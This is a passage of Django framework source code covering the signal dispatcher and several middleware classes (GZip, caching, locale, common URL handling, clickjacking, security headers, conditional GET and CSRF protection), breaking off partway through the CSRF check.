        if weak is not None:
            warnings.warn("Passing `weak` to disconnect has no effect.", RemovedInDjango20Warning, stacklevel=2)
        if dispatch_uid:
            lookup_key = (dispatch_uid, _make_id(sender))
        else:
            lookup_key = (_make_id(receiver), _make_id(sender))

        disconnected = False
        with self.lock:
            self._clear_dead_receivers()
            for index in range(len(self.receivers)):
                (r_key, _) = self.receivers[index]
                if r_key == lookup_key:
                    disconnected = True
                    del self.receivers[index]
                    break
            self.sender_receivers_cache.clear()
        return disconnected

    def has_listeners(self, sender=None):
        return bool(self._live_receivers(sender))

    def send(self, sender, **named):
        """
        Send signal from sender to all connected receivers.

        If any receiver raises an error, the error propagates back through send,
        terminating the dispatch loop. So it's possible that all receivers
        won't be called if an error is raised.

        Arguments:

            sender
                The sender of the signal. Either a specific object or None.

            named
                Named arguments which will be passed to receivers.

        Returns a list of tuple pairs [(receiver, response), ... ].
        """
        responses = []
        if not self.receivers or self.sender_receivers_cache.get(sender) is NO_RECEIVERS:
            return responses

        for receiver in self._live_receivers(sender):
            response = receiver(signal=self, sender=sender, **named)
            responses.append((receiver, response))
        return responses

    def send_robust(self, sender, **named):
        """
        Send signal from sender to all connected receivers catching errors.

        Arguments:

            sender
                The sender of the signal. Can be any python object (normally one
                registered with a connect if you actually want something to
                occur).

            named
                Named arguments which will be passed to receivers. These
                arguments must be a subset of the argument names defined in
                providing_args.

        Return a list of tuple pairs [(receiver, response), ... ]. May raise
        DispatcherKeyError.

        If any receiver raises an error (specifically any subclass of
        Exception), the error instance is returned as the result for that
        receiver. The traceback is always attached to the error at
        ``__traceback__``.
        """
        responses = []
        if not self.receivers or self.sender_receivers_cache.get(sender) is NO_RECEIVERS:
            return responses

        # Call each receiver with whatever arguments it can accept.
        # Return a list of tuple pairs [(receiver, response), ... ].
        for receiver in self._live_receivers(sender):
            try:
                response = receiver(signal=self, sender=sender, **named)
            except Exception as err:
                if not hasattr(err, '__traceback__'):
                    err.__traceback__ = sys.exc_info()[2]
                responses.append((receiver, err))
            else:
                responses.append((receiver, response))
        return responses

    def _clear_dead_receivers(self):
        # Note: caller is assumed to hold self.lock.
        if self._dead_receivers:
            self._dead_receivers = False
            new_receivers = []
            for r in self.receivers:
                if isinstance(r[1], weakref.ReferenceType) and r[1]() is None:
                    continue
                new_receivers.append(r)
            self.receivers = new_receivers

    def _live_receivers(self, sender):
        """
        Filter sequence of receivers to get resolved, live receivers.

        This checks for weak references and resolves them, then returning only
        live receivers.
        """
        receivers = None
        if self.use_caching and not self._dead_receivers:
            receivers = self.sender_receivers_cache.get(sender)
            # We could end up here with NO_RECEIVERS even if we do check this case in
            # .send() prior to calling _live_receivers() due to concurrent .send() call.
            if receivers is NO_RECEIVERS:
                return []
        if receivers is None:
            with self.lock:
                self._clear_dead_receivers()
                senderkey = _make_id(sender)
                receivers = []
                for (receiverkey, r_senderkey), receiver in self.receivers:
                    if r_senderkey == NONE_ID or r_senderkey == senderkey:
                        receivers.append(receiver)
                if self.use_caching:
                    if not receivers:
                        self.sender_receivers_cache[sender] = NO_RECEIVERS
                    else:
                        # Note, we must cache the weakref versions.
                        self.sender_receivers_cache[sender] = receivers
        non_weak_receivers = []
        for receiver in receivers:
            if isinstance(receiver, weakref.ReferenceType):
                # Dereference the weak reference.
                receiver = receiver()
                if receiver is not None:
                    non_weak_receivers.append(receiver)
            else:
                non_weak_receivers.append(receiver)
        return non_weak_receivers

    def _remove_receiver(self, receiver=None):
        # Mark that the self.receivers list has dead weakrefs. If so, we will
        # clean those up in connect, disconnect and _live_receivers while
        # holding self.lock. Note that doing the cleanup here isn't a good
        # idea, _remove_receiver() will be called as side effect of garbage
        # collection, and so the call can happen while we are already holding
        # self.lock.
        self._dead_receivers = True


def receiver(signal, **kwargs):
    """
    A decorator for connecting receivers to signals. Used by passing in the
    signal (or list of signals) and keyword arguments to connect::

        @receiver(post_save, sender=MyModel)
        def signal_receiver(sender, **kwargs):
            ...

        @receiver([post_save, post_delete], sender=MyModel)
        def signals_receiver(sender, **kwargs):
            ...
    """
    def _decorator(func):
        if isinstance(signal, (list, tuple)):
            for s in signal:
                s.connect(func, **kwargs)
        else:
            signal.connect(func, **kwargs)
        return func
    return _decorator






import re

from django.utils.cache import patch_vary_headers
from django.utils.deprecation import MiddlewareMixin
from django.utils.text import compress_sequence, compress_string

re_accepts_gzip = re.compile(r'\bgzip\b')


class GZipMiddleware(MiddlewareMixin):
    """
    This middleware compresses content if the browser allows gzip compression.
    It sets the Vary header accordingly, so that caches will base their storage
    on the Accept-Encoding header.
    """
    def process_response(self, request, response):
        # It's not worth attempting to compress really short responses.
        if not response.streaming and len(response.content) < 200:
            return response

        # Avoid gzipping if we've already got a content-encoding.
        if response.has_header('Content-Encoding'):
            return response

        patch_vary_headers(response, ('Accept-Encoding',))

        ae = request.META.get('HTTP_ACCEPT_ENCODING', '')
        if not re_accepts_gzip.search(ae):
            return response

        if response.streaming:
            # Delete the `Content-Length` header for streaming content, because
            # we won't know the compressed size until we stream it.
            response.streaming_content = compress_sequence(response.streaming_content)
            del response['Content-Length']
        else:
            # Return the compressed content only if it's actually shorter.
            compressed_content = compress_string(response.content)
            if len(compressed_content) >= len(response.content):
                return response
            response.content = compressed_content
            response['Content-Length'] = str(len(response.content))

        if response.has_header('ETag'):
            response['ETag'] = re.sub('"$', ';gzip"', response['ETag'])
        response['Content-Encoding'] = 'gzip'

        return response






"""
Cache middleware. If enabled, each Django-powered page will be cached based on
URL. The canonical way to enable cache middleware is to set
``UpdateCacheMiddleware`` as your first piece of middleware, and
``FetchFromCacheMiddleware`` as the last::

    MIDDLEWARE = [
        'django.middleware.cache.UpdateCacheMiddleware',
        ...
        'django.middleware.cache.FetchFromCacheMiddleware'
    ]

This is counter-intuitive, but correct: ``UpdateCacheMiddleware`` needs to run
last during the response phase, which processes middleware bottom-up;
``FetchFromCacheMiddleware`` needs to run last during the request phase, which
processes middleware top-down.

The single-class ``CacheMiddleware`` can be used for some simple sites.
However, if any other piece of middleware needs to affect the cache key, you'll
need to use the two-part ``UpdateCacheMiddleware`` and
``FetchFromCacheMiddleware``. This'll most often happen when you're using
Django's ``LocaleMiddleware``.

More details about how the caching works:

* Only GET or HEAD-requests with status code 200 are cached.

* The number of seconds each page is stored for is set by the "max-age" section
  of the response's "Cache-Control" header, falling back to the
  CACHE_MIDDLEWARE_SECONDS setting if the section was not found.

* This middleware expects that a HEAD request is answered with the same response
  headers exactly like the corresponding GET request.

* When a hit occurs, a shallow copy of the original response object is returned
  from process_request.

* Pages will be cached based on the contents of the request headers listed in
  the response's "Vary" header.

* This middleware also sets ETag, Last-Modified, Expires and Cache-Control
  headers on the response object.

"""

from django.conf import settings
from django.core.cache import DEFAULT_CACHE_ALIAS, caches
from django.utils.cache import (
    get_cache_key, get_max_age, has_vary_header, learn_cache_key,
    patch_response_headers,
)
from django.utils.deprecation import MiddlewareMixin


class UpdateCacheMiddleware(MiddlewareMixin):
    """
    Response-phase cache middleware that updates the cache if the response is
    cacheable.

    Must be used as part of the two-part update/fetch cache middleware.
    UpdateCacheMiddleware must be the first piece of middleware in MIDDLEWARE
    so that it'll get called last during the response phase.
    """
    def __init__(self, get_response=None):
        self.cache_timeout = settings.CACHE_MIDDLEWARE_SECONDS
        self.key_prefix = settings.CACHE_MIDDLEWARE_KEY_PREFIX
        self.cache_alias = settings.CACHE_MIDDLEWARE_ALIAS
        self.cache = caches[self.cache_alias]
        self.get_response = get_response

    def _should_update_cache(self, request, response):
        return hasattr(request, '_cache_update_cache') and request._cache_update_cache

    def process_response(self, request, response):
        """Sets the cache, if needed."""
        if not self._should_update_cache(request, response):
            # We don't need to update the cache, just return.
            return response

        if response.streaming or response.status_code != 200:
            return response

        # Don't cache responses that set a user-specific (and maybe security
        # sensitive) cookie in response to a cookie-less request.
        if not request.COOKIES and response.cookies and has_vary_header(response, 'Cookie'):
            return response

        # Try to get the timeout from the "max-age" section of the "Cache-
        # Control" header before reverting to using the default cache_timeout
        # length.
        timeout = get_max_age(response)
        if timeout is None:
            timeout = self.cache_timeout
        elif timeout == 0:
            # max-age was set to 0, don't bother caching.
            return response
        patch_response_headers(response, timeout)
        if timeout:
            cache_key = learn_cache_key(request, response, timeout, self.key_prefix, cache=self.cache)
            if hasattr(response, 'render') and callable(response.render):
                response.add_post_render_callback(
                    lambda r: self.cache.set(cache_key, r, timeout)
                )
            else:
                self.cache.set(cache_key, response, timeout)
        return response


class FetchFromCacheMiddleware(MiddlewareMixin):
    """
    Request-phase cache middleware that fetches a page from the cache.

    Must be used as part of the two-part update/fetch cache middleware.
    FetchFromCacheMiddleware must be the last piece of middleware in MIDDLEWARE
    so that it'll get called last during the request phase.
    """
    def __init__(self, get_response=None):
        self.key_prefix = settings.CACHE_MIDDLEWARE_KEY_PREFIX
        self.cache_alias = settings.CACHE_MIDDLEWARE_ALIAS
        self.cache = caches[self.cache_alias]
        self.get_response = get_response

    def process_request(self, request):
        """
        Checks whether the page is already cached and returns the cached
        version if available.
        """
        if request.method not in ('GET', 'HEAD'):
            request._cache_update_cache = False
            return None  # Don't bother checking the cache.

        # try and get the cached GET response
        cache_key = get_cache_key(request, self.key_prefix, 'GET', cache=self.cache)
        if cache_key is None:
            request._cache_update_cache = True
            return None  # No cache information available, need to rebuild.
        response = self.cache.get(cache_key)
        # if it wasn't found and we are looking for a HEAD, try looking just for that
        if response is None and request.method == 'HEAD':
            cache_key = get_cache_key(request, self.key_prefix, 'HEAD', cache=self.cache)
            response = self.cache.get(cache_key)

        if response is None:
            request._cache_update_cache = True
            return None  # No cache information available, need to rebuild.

        # hit, return cached response
        request._cache_update_cache = False
        return response


class CacheMiddleware(UpdateCacheMiddleware, FetchFromCacheMiddleware):
    """
    Cache middleware that provides basic behavior for many simple sites.

    Also used as the hook point for the cache decorator, which is generated
    using the decorator-from-middleware utility.
    """
    def __init__(self, get_response=None, cache_timeout=None, **kwargs):
        self.get_response = get_response
        # We need to differentiate between "provided, but using default value",
        # and "not provided". If the value is provided using a default, then
        # we fall back to system defaults. If it is not provided at all,
        # we need to use middleware defaults.

        try:
            key_prefix = kwargs['key_prefix']
            if key_prefix is None:
                key_prefix = ''
        except KeyError:
            key_prefix = settings.CACHE_MIDDLEWARE_KEY_PREFIX
        self.key_prefix = key_prefix

        try:
            cache_alias = kwargs['cache_alias']
            if cache_alias is None:
                cache_alias = DEFAULT_CACHE_ALIAS
        except KeyError:
            cache_alias = settings.CACHE_MIDDLEWARE_ALIAS
        self.cache_alias = cache_alias

        if cache_timeout is None:
            cache_timeout = settings.CACHE_MIDDLEWARE_SECONDS
        self.cache_timeout = cache_timeout
        self.cache = caches[self.cache_alias]






"This is the locale selecting middleware that will look at accept headers"

from django.conf import settings
from django.conf.urls.i18n import is_language_prefix_patterns_used
from django.http import HttpResponseRedirect
from django.urls import get_script_prefix, is_valid_path
from django.utils import translation
from django.utils.cache import patch_vary_headers
from django.utils.deprecation import MiddlewareMixin


class LocaleMiddleware(MiddlewareMixin):
    """
    This is a very simple middleware that parses a request
    and decides what translation object to install in the current
    thread context. This allows pages to be dynamically
    translated to the language the user desires (if the language
    is available, of course).
    """
    response_redirect_class = HttpResponseRedirect

    def process_request(self, request):
        urlconf = getattr(request, 'urlconf', settings.ROOT_URLCONF)
        i18n_patterns_used, prefixed_default_language = is_language_prefix_patterns_used(urlconf)
        language = translation.get_language_from_request(request, check_path=i18n_patterns_used)
        language_from_path = translation.get_language_from_path(request.path_info)
        if not language_from_path and i18n_patterns_used and not prefixed_default_language:
            language = settings.LANGUAGE_CODE
        translation.activate(language)
        request.LANGUAGE_CODE = translation.get_language()

    def process_response(self, request, response):
        language = translation.get_language()
        language_from_path = translation.get_language_from_path(request.path_info)
        urlconf = getattr(request, 'urlconf', settings.ROOT_URLCONF)
        i18n_patterns_used, prefixed_default_language = is_language_prefix_patterns_used(urlconf)

        if response.status_code == 404 and not language_from_path and i18n_patterns_used:
            language_path = '/%s%s' % (language, request.path_info)
            path_valid = is_valid_path(language_path, urlconf)
            path_needs_slash = (
                not path_valid and (
                    settings.APPEND_SLASH and not language_path.endswith('/') and
                    is_valid_path('%s/' % language_path, urlconf)
                )
            )

            if path_valid or path_needs_slash:
                script_prefix = get_script_prefix()
                # Insert language after the script prefix and before the
                # rest of the URL
                language_url = request.get_full_path(force_append_slash=path_needs_slash).replace(
                    script_prefix,
                    '%s%s/' % (script_prefix, language),
                    1
                )
                return self.response_redirect_class(language_url)

        if not (i18n_patterns_used and language_from_path):
            patch_vary_headers(response, ('Accept-Language',))
        if 'Content-Language' not in response:
            response['Content-Language'] = language
        return response












import re

from django import http
from django.conf import settings
from django.core.exceptions import PermissionDenied
from django.core.mail import mail_managers
from django.urls import is_valid_path
from django.utils.cache import (
    cc_delim_re, get_conditional_response, set_response_etag,
)
from django.utils.deprecation import MiddlewareMixin
from django.utils.encoding import force_text
from django.utils.http import unquote_etag
from django.utils.six.moves.urllib.parse import urlparse


class CommonMiddleware(MiddlewareMixin):
    """
    "Common" middleware for taking care of some basic operations:

        - Forbids access to User-Agents in settings.DISALLOWED_USER_AGENTS

        - URL rewriting: Based on the APPEND_SLASH and PREPEND_WWW settings,
          this middleware appends missing slashes and/or prepends missing
          "www."s.

            - If APPEND_SLASH is set and the initial URL doesn't end with a
              slash, and it is not found in urlpatterns, a new URL is formed by
              appending a slash at the end. If this new URL is found in
              urlpatterns, then an HTTP-redirect is returned to this new URL;
              otherwise the initial URL is processed as usual.

          This behavior can be customized by subclassing CommonMiddleware and
          overriding the response_redirect_class attribute.

        - ETags: If the USE_ETAGS setting is set, ETags will be calculated from
          the entire page content and Not Modified responses will be returned
          appropriately.
    """

    response_redirect_class = http.HttpResponsePermanentRedirect

    def process_request(self, request):
        """
        Check for denied User-Agents and rewrite the URL based on
        settings.APPEND_SLASH and settings.PREPEND_WWW
        """

        # Check for denied User-Agents
        if 'HTTP_USER_AGENT' in request.META:
            for user_agent_regex in settings.DISALLOWED_USER_AGENTS:
                if user_agent_regex.search(request.META['HTTP_USER_AGENT']):
                    raise PermissionDenied('Forbidden user agent')

        # Check for a redirect based on settings.PREPEND_WWW
        host = request.get_host()
        must_prepend = settings.PREPEND_WWW and host and not host.startswith('www.')
        redirect_url = ('%s://www.%s' % (request.scheme, host)) if must_prepend else ''

        # Check if a slash should be appended
        if self.should_redirect_with_slash(request):
            path = self.get_full_path_with_slash(request)
        else:
            path = request.get_full_path()

        # Return a redirect if necessary
        if redirect_url or path != request.get_full_path():
            redirect_url += path
            return self.response_redirect_class(redirect_url)

    def should_redirect_with_slash(self, request):
        """
        Return True if settings.APPEND_SLASH is True and appending a slash to
        the request path turns an invalid path into a valid one.
        """
        if settings.APPEND_SLASH and not request.get_full_path().endswith('/'):
            urlconf = getattr(request, 'urlconf', None)
            return (
                not is_valid_path(request.path_info, urlconf) and
                is_valid_path('%s/' % request.path_info, urlconf)
            )
        return False

    def get_full_path_with_slash(self, request):
        """
        Return the full path of the request with a trailing slash appended.

        Raise a RuntimeError if settings.DEBUG is True and request.method is
        POST, PUT, or PATCH.
        """
        new_path = request.get_full_path(force_append_slash=True)
        if settings.DEBUG and request.method in ('POST', 'PUT', 'PATCH'):
            raise RuntimeError(
                "You called this URL via %(method)s, but the URL doesn't end "
                "in a slash and you have APPEND_SLASH set. Django can't "
                "redirect to the slash URL while maintaining %(method)s data. "
                "Change your form to point to %(url)s (note the trailing "
                "slash), or set APPEND_SLASH=False in your Django settings." % {
                    'method': request.method,
                    'url': request.get_host() + new_path,
                }
            )
        return new_path

    def process_response(self, request, response):
        """
        Calculate the ETag, if needed.

        When the status code of the response is 404, it may redirect to a path
        with an appended slash if should_redirect_with_slash() returns True.
        """
        # If the given URL is "Not Found", then check if we should redirect to
        # a path with a slash appended.
        if response.status_code == 404:
            if self.should_redirect_with_slash(request):
                return self.response_redirect_class(self.get_full_path_with_slash(request))

        if settings.USE_ETAGS and self.needs_etag(response):
            if not response.has_header('ETag'):
                set_response_etag(response)

            if response.has_header('ETag'):
                return get_conditional_response(
                    request,
                    etag=unquote_etag(response['ETag']),
                    response=response,
                )
        # Add the Content-Length header to non-streaming responses if not
        # already set.
        if not response.streaming and not response.has_header('Content-Length'):
            response['Content-Length'] = str(len(response.content))

        return response

    def needs_etag(self, response):
        """
        Return True if an ETag header should be added to response.
        """
        cache_control_headers = cc_delim_re.split(response.get('Cache-Control', ''))
        return all(header.lower() != 'no-store' for header in cache_control_headers)


class BrokenLinkEmailsMiddleware(MiddlewareMixin):

    def process_response(self, request, response):
        """
        Send broken link emails for relevant 404 NOT FOUND responses.
        """
        if response.status_code == 404 and not settings.DEBUG:
            domain = request.get_host()
            path = request.get_full_path()
            referer = force_text(request.META.get('HTTP_REFERER', ''), errors='replace')

            if not self.is_ignorable_request(request, path, domain, referer):
                ua = force_text(request.META.get('HTTP_USER_AGENT', '<none>'), errors='replace')
                ip = request.META.get('REMOTE_ADDR', '<none>')
                mail_managers(
                    "Broken %slink on %s" % (
                        ('INTERNAL ' if self.is_internal_request(domain, referer) else ''),
                        domain
                    ),
                    "Referrer: %s\nRequested URL: %s\nUser agent: %s\n"
                    "IP address: %s\n" % (referer, path, ua, ip),
                    fail_silently=True)
        return response

    def is_internal_request(self, domain, referer):
        """
        Returns True if the referring URL is the same domain as the current request.
        """
        # Different subdomains are treated as different domains.
        return bool(re.match("^https?://%s/" % re.escape(domain), referer))

    def is_ignorable_request(self, request, uri, domain, referer):
        """
        Return True if the given request *shouldn't* notify the site managers
        according to project settings or in situations outlined by the inline
        comments.
        """
        # The referer is empty.
        if not referer:
            return True

        # APPEND_SLASH is enabled and the referer is equal to the current URL
        # without a trailing slash indicating an internal redirect.
        if settings.APPEND_SLASH and uri.endswith('/') and referer == uri[:-1]:
            return True

        # A '?' in referer is identified as a search engine source.
        if not self.is_internal_request(domain, referer) and '?' in referer:
            return True

        # The referer is equal to the current URL, ignoring the scheme (assumed
        # to be a poorly implemented bot).
        parsed_referer = urlparse(referer)
        if parsed_referer.netloc in ['', domain] and parsed_referer.path == uri:
            return True

        return any(pattern.search(uri) for pattern in settings.IGNORABLE_404_URLS)






"""
Clickjacking Protection Middleware.

This module provides a middleware that implements protection against a
malicious site loading resources from your site in a hidden frame.
"""

from django.conf import settings
from django.utils.deprecation import MiddlewareMixin


class XFrameOptionsMiddleware(MiddlewareMixin):
    """
    Middleware that sets the X-Frame-Options HTTP header in HTTP responses.

    Does not set the header if it's already set or if the response contains
    a xframe_options_exempt value set to True.

    By default, sets the X-Frame-Options header to 'SAMEORIGIN', meaning the
    response can only be loaded on a frame within the same site. To prevent the
    response from being loaded in a frame in any site, set X_FRAME_OPTIONS in
    your project's Django settings to 'DENY'.

    Note: older browsers will quietly ignore this header, thus other
    clickjacking protection techniques should be used if protection in those
    browsers is required.

    https://en.wikipedia.org/wiki/Clickjacking#Server_and_client
    """
    def process_response(self, request, response):
        # Don't set it if it's already in the response
        if response.get('X-Frame-Options') is not None:
            return response

        # Don't set it if they used @xframe_options_exempt
        if getattr(response, 'xframe_options_exempt', False):
            return response

        response['X-Frame-Options'] = self.get_xframe_options_value(request,
                                                                    response)
        return response

    def get_xframe_options_value(self, request, response):
        """
        Gets the value to set for the X_FRAME_OPTIONS header.

        By default this uses the value from the X_FRAME_OPTIONS Django
        settings. If not found in settings, defaults to 'SAMEORIGIN'.

        This method can be overridden if needed, allowing it to vary based on
        the request or response.
        """
        return getattr(settings, 'X_FRAME_OPTIONS', 'SAMEORIGIN').upper()






import re

from django.conf import settings
from django.http import HttpResponsePermanentRedirect
from django.utils.deprecation import MiddlewareMixin


class SecurityMiddleware(MiddlewareMixin):
    def __init__(self, get_response=None):
        self.sts_seconds = settings.SECURE_HSTS_SECONDS
        self.sts_include_subdomains = settings.SECURE_HSTS_INCLUDE_SUBDOMAINS
        self.sts_preload = settings.SECURE_HSTS_PRELOAD
        self.content_type_nosniff = settings.SECURE_CONTENT_TYPE_NOSNIFF
        self.xss_filter = settings.SECURE_BROWSER_XSS_FILTER
        self.redirect = settings.SECURE_SSL_REDIRECT
        self.redirect_host = settings.SECURE_SSL_HOST
        self.redirect_exempt = [re.compile(r) for r in settings.SECURE_REDIRECT_EXEMPT]
        self.get_response = get_response

    def process_request(self, request):
        path = request.path.lstrip("/")
        if (self.redirect and not request.is_secure() and
                not any(pattern.search(path)
                        for pattern in self.redirect_exempt)):
            host = self.redirect_host or request.get_host()
            return HttpResponsePermanentRedirect(
                "https://%s%s" % (host, request.get_full_path())
            )

    def process_response(self, request, response):
        if (self.sts_seconds and request.is_secure() and
                'strict-transport-security' not in response):
            sts_header = "max-age=%s" % self.sts_seconds
            if self.sts_include_subdomains:
                sts_header = sts_header + "; includeSubDomains"
            if self.sts_preload:
                sts_header = sts_header + "; preload"
            response["strict-transport-security"] = sts_header

        if self.content_type_nosniff and 'x-content-type-options' not in response:
            response["x-content-type-options"] = "nosniff"

        if self.xss_filter and 'x-xss-protection' not in response:
            response["x-xss-protection"] = "1; mode=block"

        return response






from django.utils.cache import get_conditional_response
from django.utils.deprecation import MiddlewareMixin
from django.utils.http import http_date, parse_http_date_safe, unquote_etag


class ConditionalGetMiddleware(MiddlewareMixin):
    """
    Handles conditional GET operations. If the response has an ETag or
    Last-Modified header, and the request has If-None-Match or
    If-Modified-Since, the response is replaced by an HttpNotModified.

    Also sets the Date and Content-Length response-headers.
    """
    def process_response(self, request, response):
        response['Date'] = http_date()
        if not response.streaming and not response.has_header('Content-Length'):
            response['Content-Length'] = str(len(response.content))

        etag = response.get('ETag')
        last_modified = response.get('Last-Modified')
        if last_modified:
            last_modified = parse_http_date_safe(last_modified)

        if etag or last_modified:
            return get_conditional_response(
                request,
                etag=unquote_etag(etag),
                last_modified=last_modified,
                response=response,
            )

        return response






"""
Cross Site Request Forgery Middleware.

This module provides a middleware that implements protection
against request forgeries from other sites.
"""
from __future__ import unicode_literals

import logging
import re
import string

from django.conf import settings
from django.urls import get_callable
from django.utils.cache import patch_vary_headers
from django.utils.crypto import constant_time_compare, get_random_string
from django.utils.deprecation import MiddlewareMixin
from django.utils.encoding import force_text
from django.utils.http import is_same_domain
from django.utils.six.moves import zip
from django.utils.six.moves.urllib.parse import urlparse

logger = logging.getLogger('django.security.csrf')

REASON_NO_REFERER = "Referer checking failed - no Referer."
REASON_BAD_REFERER = "Referer checking failed - %s does not match any trusted origins."
REASON_NO_CSRF_COOKIE = "CSRF cookie not set."
REASON_BAD_TOKEN = "CSRF token missing or incorrect."
REASON_MALFORMED_REFERER = "Referer checking failed - Referer is malformed."
REASON_INSECURE_REFERER = "Referer checking failed - Referer is insecure while host is secure."

CSRF_SECRET_LENGTH = 32
CSRF_TOKEN_LENGTH = 2 * CSRF_SECRET_LENGTH
CSRF_ALLOWED_CHARS = string.ascii_letters + string.digits


def _get_failure_view():
    """
    Returns the view to be used for CSRF rejections
    """
    return get_callable(settings.CSRF_FAILURE_VIEW)


def _get_new_csrf_string():
    return get_random_string(CSRF_SECRET_LENGTH, allowed_chars=CSRF_ALLOWED_CHARS)


def _salt_cipher_secret(secret):
    """
    Given a secret (assumed to be a string of CSRF_ALLOWED_CHARS), generate a
    token by adding a salt and using it to encrypt the secret.
    """
    salt = _get_new_csrf_string()
    chars = CSRF_ALLOWED_CHARS
    pairs = zip((chars.index(x) for x in secret), (chars.index(x) for x in salt))
    cipher = ''.join(chars[(x + y) % len(chars)] for x, y in pairs)
    return salt + cipher


def _unsalt_cipher_token(token):
    """
    Given a token (assumed to be a string of CSRF_ALLOWED_CHARS, of length
    CSRF_TOKEN_LENGTH, and that its first half is a salt), use it to decrypt
    the second half to produce the original secret.
    """
    salt = token[:CSRF_SECRET_LENGTH]
    token = token[CSRF_SECRET_LENGTH:]
    chars = CSRF_ALLOWED_CHARS
    pairs = zip((chars.index(x) for x in token), (chars.index(x) for x in salt))
    secret = ''.join(chars[x - y] for x, y in pairs)  # Note negative values are ok
    return secret


def _get_new_csrf_token():
    return _salt_cipher_secret(_get_new_csrf_string())


def get_token(request):
    """
    Returns the CSRF token required for a POST form. The token is an
    alphanumeric value. A new token is created if one is not already set.

    A side effect of calling this function is to make the csrf_protect
    decorator and the CsrfViewMiddleware add a CSRF cookie and a 'Vary: Cookie'
    header to the outgoing response.  For this reason, you may need to use this
    function lazily, as is done by the csrf context processor.
    """
    if "CSRF_COOKIE" not in request.META:
        csrf_secret = _get_new_csrf_string()
        request.META["CSRF_COOKIE"] = _salt_cipher_secret(csrf_secret)
    else:
        csrf_secret = _unsalt_cipher_token(request.META["CSRF_COOKIE"])
    request.META["CSRF_COOKIE_USED"] = True
    return _salt_cipher_secret(csrf_secret)


def rotate_token(request):
    """
    Changes the CSRF token in use for a request - should be done on login
    for security purposes.
    """
    request.META.update({
        "CSRF_COOKIE_USED": True,
        "CSRF_COOKIE": _get_new_csrf_token(),
    })
    request.csrf_cookie_needs_reset = True


def _sanitize_token(token):
    # Allow only ASCII alphanumerics
    if re.search('[^a-zA-Z0-9]', force_text(token)):
        return _get_new_csrf_token()
    elif len(token) == CSRF_TOKEN_LENGTH:
        return token
    elif len(token) == CSRF_SECRET_LENGTH:
        # Older Django versions set cookies to values of CSRF_SECRET_LENGTH
        # alphanumeric characters. For backwards compatibility, accept
        # such values as unsalted secrets.
        # It's easier to salt here and be consistent later, rather than add
        # different code paths in the checks, although that might be a tad more
        # efficient.
        return _salt_cipher_secret(token)
    return _get_new_csrf_token()


def _compare_salted_tokens(request_csrf_token, csrf_token):
    # Assume both arguments are sanitized -- that is, strings of
    # length CSRF_TOKEN_LENGTH, all CSRF_ALLOWED_CHARS.
    return constant_time_compare(
        _unsalt_cipher_token(request_csrf_token),
        _unsalt_cipher_token(csrf_token),
    )


class CsrfViewMiddleware(MiddlewareMixin):
    """
    Middleware that requires a present and correct csrfmiddlewaretoken
    for POST requests that have a CSRF cookie, and sets an outgoing
    CSRF cookie.

    This middleware should be used in conjunction with the csrf_token template
    tag.
    """
    # The _accept and _reject methods currently only exist for the sake of the
    # requires_csrf_token decorator.
    def _accept(self, request):
        # Avoid checking the request twice by adding a custom attribute to
        # request.  This will be relevant when both decorator and middleware
        # are used.
        request.csrf_processing_done = True
        return None

    def _reject(self, request, reason):
        logger.warning(
            'Forbidden (%s): %s', reason, request.path,
            extra={
                'status_code': 403,
                'request': request,
            }
        )
        return _get_failure_view()(request, reason=reason)

    def process_view(self, request, callback, callback_args, callback_kwargs):
        if getattr(request, 'csrf_processing_done', False):
            return None

        try:
            cookie_token = request.COOKIES[settings.CSRF_COOKIE_NAME]
        except KeyError:
            csrf_token = None
        else:
            csrf_token = _sanitize_token(cookie_token)
            if csrf_token != cookie_token:
                # Cookie token needed to be replaced;
                # the cookie needs to be reset.
                request.csrf_cookie_needs_reset = True
            # Use same token next time.
            request.META['CSRF_COOKIE'] = csrf_token

        # Wait until request.META["CSRF_COOKIE"] has been manipulated before
        # bailing out, so that get_token still works
        if getattr(callback, 'csrf_exempt', False):
            return None

        # Assume that anything not defined as 'safe' by RFC7231 needs protection
        if request.method not in ('GET', 'HEAD', 'OPTIONS', 'TRACE'):
            if getattr(request, '_dont_enforce_csrf_checks', False):
                # Mechanism to turn off CSRF checks for test suite.
                # It comes after the creation of CSRF cookies, so that
                # everything else continues to work exactly the same
                # (e.g. cookies are sent, etc.), but before any
                # branches that call reject().
                return self._accept(request)

            if request.is_secure():
                # Suppose user visits http://example.com/
                # An active network attacker (man-in-the-middle, MITM) sends a
                # POST form that targets https://example.com/detonate-bomb/ and
                # submits it via JavaScript.
                #
                # The attacker will need to provide a CSRF cookie and token, but
                # that's no problem for a MITM and the session-independent
                # secret we're using. So the MITM can circumvent the CSRF
                # protection. This is true for any HTTP connection, but anyone
                # using HTTPS expects better! For this reason, for
                # https://example.com/ we need additional protection that treats
                # http://example.com/ as completely untrusted. Under HTTPS,
                # Barth et al. found that the Referer header is missing for
                # same-domain requests in only about 0.2% of cases or less, so
                # we can use strict Referer checking.
                referer = force_text(
                    request.META.get('HTTP_REFERER'),
                    strings_only=True,
                    errors='replace'
                )
                if referer is None:
                    return self._reject(request, REASON_NO_REFERER)

                referer = urlparse(referer)

                # Make sure we have a valid URL for Referer.
                if '' in (referer.scheme, referer.netloc):
                    return self._reject(request, REASON_MALFORMED_REFERER)

                # Ensure that our Referer is also secure.
                if referer.scheme != 'https':
                    return self._reject(request, REASON_INSECURE_REFERER)

                # If there isn't a CSRF_COOKIE_DOMAIN, assume we need an exact
                # match on host:port. If not, obey the cookie rules.
                if settings.CSRF_COOKIE_DOMAIN is None:
                    # request.get_host() includes the port.
                    good_referer = request.get_host()
                else:
                    good_referer = settings.CSRF_COOKIE_DOMAIN
                    server_port = request.get_port()
                    if server_port not in ('443', '80'):
                        good_referer = '%s:%s' % (good_referer, server_port)

                # Here we generate a list of all acceptable HTTP referers,
                # including the current host since that has been validated
                # upstream.
                good_hosts = list(settings.CSRF_TRUSTED_ORIGINS)
                good_hosts.append(good_referer)

                if not any(is_same_domain(referer.netloc, host) for host in good_hosts):
                    reason = REASON_BAD_REFERER % referer.geturl()
                    return self._reject(request, reason)

            if csrf_token is None:
                # No CSRF cookie. For POST requests, we insist on a CSRF cookie,
                # and in this way we can avoid all CSRF attacks, including login
                # CSRF.
                return self._reject(request, REASON_NO_CSRF_COOKIE)

            # Check non-cookie token for match.
            request_csrf_token = ""
            if request.method == "POST":
                try:
                    request_csrf_token = request.POST.get('csrfmiddlewaretoken', '')
                except IOError:
                    # Handle a broken connection before we've completed reading
                    # the POST data. process_view shouldn't raise any
                    # exceptions, so we'll ignore and serve the user a 403
                    # (assuming they're still listening, which they probably
                    # aren't because of the error).
                    pass

            if request_csrf_token == "":
                # Fall back to X-CSRFToken, to make things easier for AJAX,
